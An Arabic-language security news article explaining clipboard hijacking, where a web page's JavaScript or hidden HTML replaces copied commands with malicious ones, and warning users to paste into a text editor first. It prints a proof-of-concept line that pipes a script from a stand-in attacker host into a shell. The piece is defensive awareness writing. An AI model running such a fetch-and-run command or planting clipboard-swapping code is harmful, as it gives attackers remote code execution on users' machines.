الأحدث

قد تتعرض للاختراق – بسبب نسخ ولصق الأوامر من صفحات الويب

 

اختراق

تحذير هام لكل من المبرمجين ومسؤولي النظام والباحثين الأمنيين وهواة التكنولوجيا الذين ينسخون أوامر اللصق من صفحات الويب إلى وحدة تحكم أو محطة طرفية من أنهم يخاطرون بتعرض نظامهم للخطر.

ويؤكد أحد الفنيين خدعة بسيطة تجعلك تفكر مليًا قبل نسخ النص ولصقه من صفحات الويب.

الباب الخلفي في الحافظة الخاصة بك؟

أظهر الخبير جابرييل فريدلاندر ، مؤسس منصة Wizer للتدريب على التوعية الأمنية ، اختراقًا واضحًا ومفاجئًا سيجعلك حذرًا من نسخ أوامر اللصق من صفحات الويب.

ليس من غير المعتاد للمطورين المبتدئين والمؤهلين على حد سواء نسخ الأوامر شائعة الاستخدام من صفحة ويب (ahem ،  Stack Over flow) ولصقها في تطبيقاتهم ، أو موجه أوامر  Windows  أو محطة Linux.

لكن فريدلاندر يحذر من أن صفحة الويب يمكن أن تحل محل محتويات ما يتم حفظه في الحافظة الخاصة بك ، وما ينتهي به الأمر في الواقع يتم نسخه إلى الحافظة الخاصة بك سيكون مختلفًا تمامًا عما كنت تنوي نسخه.

والأسوأ من ذلك ، بدون العناية الواجبة اللازمة ، قد يدرك المطور خطأه فقط بعد لصق النص ، وعند هذه النقطة قد يكون الأوان قد فات.

في إثبات بسيط للمفهوم (PoC) نُشر على مدونته ، يطلب فريدلاندر من القراء  نسخ أمر بسيط يكون معظم مسؤولي النظام والمطورين على دراية به:


PoC

curl http://attacker-domain:8000/shell.sh | sh


حيث لا تحصل فقط على أمر مختلف تمامًا في الحافظة الخاصة بك ، ولكن لجعل الأمور أسوأ ، تحتوي على سطر جديد (أو رجوع) في نهايته

وهذا يعني أن المثال أعلاه سيتم تنفيذه بمجرد لصقه مباشرة في نظام  Linux.

ربما كان أولئك الذين يلصقون النص تحت الانطباع بأنهم كانوا ينسخون الأمر المألوف غير الضار sudo apt update  الذي يستخدم لجلب معلومات محدثة عن البرامج المثبتة على نظامك.

لكن هذا ليس ما حدث تمامًا.

ما الذي يسبب هذا؟

يكمن السحر في كود JavaScript المخفي وراء إعداد صفحة PoC HTML بواسطة Friedlander.

بمجرد نسخ نصsudo apt update"  الموجود في عنصر HTML ، يتم تشغيل مقتطف الشفرة الموضح أدناه

ما يحدث بعد ذلك هومستمع حدث " جافا سكريبت يلتقط حدث النسخ ويستبدل بيانات الحافظة بشفرة اختبار فريدلاندر الخبيثة:


كود PoC JavaScript
كود PoC JavaScript يحل محل محتويات الحافظة

ونلاحظ أن مستمعي الأحداث لديهم مجموعة متنوعة من حالات الاستخدام المشروعة في  لغة البرمجة JavaScript  ولكن هذا مجرد مثال واحد على كيفية إساءة استخدامها.

ويحذر فريدلاندر قائلاً: "هذا هو السبب في أنه لا يجب عليك أبدًا نسخ أوامر اللصق مباشرة في الجهاز الطرفي".

"تعتقد أنك تنسخ شيئًا واحدًا ، ولكن تم استبداله بشيء آخر ، مثل الشفرة الخبيثة. كل ما يتطلبه الأمر هو إدخال سطر واحد من التعليمات البرمجية في الشفرة التي نسختها لإنشاء باب خلفي لتطبيقك."

"هذا الهجوم بسيط للغاية ولكنه ضار جدًا أيضًا."

قدم مستخدم Reddit أيضًا مثالًا بديلاً لهذه الخدعة التي لا تتطلب JavaScript: نص غير مرئي تم إنشاؤه باستخدام تنسيق HTML و CSS يتم نسخه إلى الحافظة الخاصة بك عند نسخ الأجزاء المرئية من النص:


كود HTML غير المرئي
يتم التقاط كود HTML غير المرئي  (على اليسار) أثناء النسخ واللصق ويحتوي على سطر إضافي  (على اليمين) المصدر: JsFiddle

المستخدم SwallowYourDreams: " يوضح  انه لا تكمن المشكلة فقط في أن موقع الويب يمكنه تغيير محتويات الحافظة الخاصة بك باستخدام JavaScript"  .

"يمكنه أيضًا إخفاء الأوامر في HTML غير المرئية للعين البشرية ، ولكن سيتم نسخها بواسطة الكمبيوتر."

وبالتالي ، هناك سبب آخر لعدم الثقة بشكل أعمى في ما تنسخه من صفحة ويب - من الأفضل لصقه في محرر نصي أولاً.


ليست هناك تعليقات